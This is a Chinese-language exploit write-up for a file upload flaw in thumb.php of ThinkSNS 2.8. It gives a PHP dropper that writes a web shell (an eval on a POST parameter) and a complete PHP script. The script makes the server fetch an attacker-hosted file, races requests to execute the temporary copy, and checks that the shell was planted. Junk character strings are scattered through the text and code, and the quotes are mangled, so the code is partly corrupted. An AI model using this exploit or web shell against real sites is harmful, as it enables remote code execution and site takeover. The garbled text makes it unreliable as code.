Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
' y# Q" n: G6 m' W存在漏洞的文件为：thumb.php
作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
文件内容如下：
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、        计算出临时的文件名：
这里我们可以看文件的99行（刚刚是不是没注意呀！）。

7 `: j4 {# J% `. ?! y+ o3、        上传临时文件。
# P5 q% I; T* X: d. d4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
<?php
error_reporting(0);
: N/ L- J4 s, p+ G+ v! Sset_time_limit(0);
6 k" Y" X+ K" E2 Qini_set(“default_socket_timeout”, 5);
  |9 F2 M& w# Z9 U1 bfunction http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
$ X1 \$ c: f; P& Q* dfputs($fp, $headers);
/ r+ e8 I: Q# c% r/ k+ v( M( Ireturn $fp;
}
function http_recv($fp) {
$ret=”";
' u1 O' j$ M0 F$ F5 ^3 L7 Cwhile (!feof($fp))
$ret.= fgets($fp, 1024);
6 ]5 P/ ^  X9 N' t/ U1 yfclose($fp);
return $ret;
}
) @* }$ o# Y8 O& A. n: Q: _& ^print “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
0 I/ w; M2 c$ D' Vif ($argc < 4) {
& x2 |$ T, s5 A( r- T9 Xprint “Usage:   php <host> <path> <romote_url>\n”;
( r: C& P+ L: ^print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
5 o+ d" {  p% q) Ydie();
- n, s* S& J( q& Y( O" p}
$host = $argv[1];
- Q  L# t8 O% D: _/ S$path = $argv[2];
2 c* A# \! t% K$url = $argv[3];
/ G* u, v" O6 C$ a- l4 G$i=0;
4 f( r1 M9 m5 z$ t//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
# R0 \. V- S2 x+ n, t//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
# n+ p/ e1 p# J& O# y$headers .= “Host: “.$host.”\r\n”;
, K# g( b2 a# j8 P$headers .= “Connection: close\r\n\r\n”;
1 A3 D, A: |# u6 Q9 z% |echo $headers;
4 l, X3 Q1 ^+ B% r/ X$ }while(++$i<10) {
fclose(http_send($host, 80, $headers));
- ~5 U# O# G' }}
fclose(http_send($host, 80, $headers_up));
while(++$i<50) {
fclose(http_send($host, 80, $headers));
* E5 R% m" R: R# |* F) m+ V}
. B% ^& u: P/ {5 X$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
) q  E1 A4 U2 b) ?$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
7 M9 l4 {% e+ {6 _0 Hif(preg_match(‘/200 OK/’,$res)) {
/ l! Y6 c- H$ g' Cprint “Success!\n\n”;
} else {
print “Fail!\n\n”;
! |2 \5 i* ^1 [3 d; r& U2 ~' f}
?>
​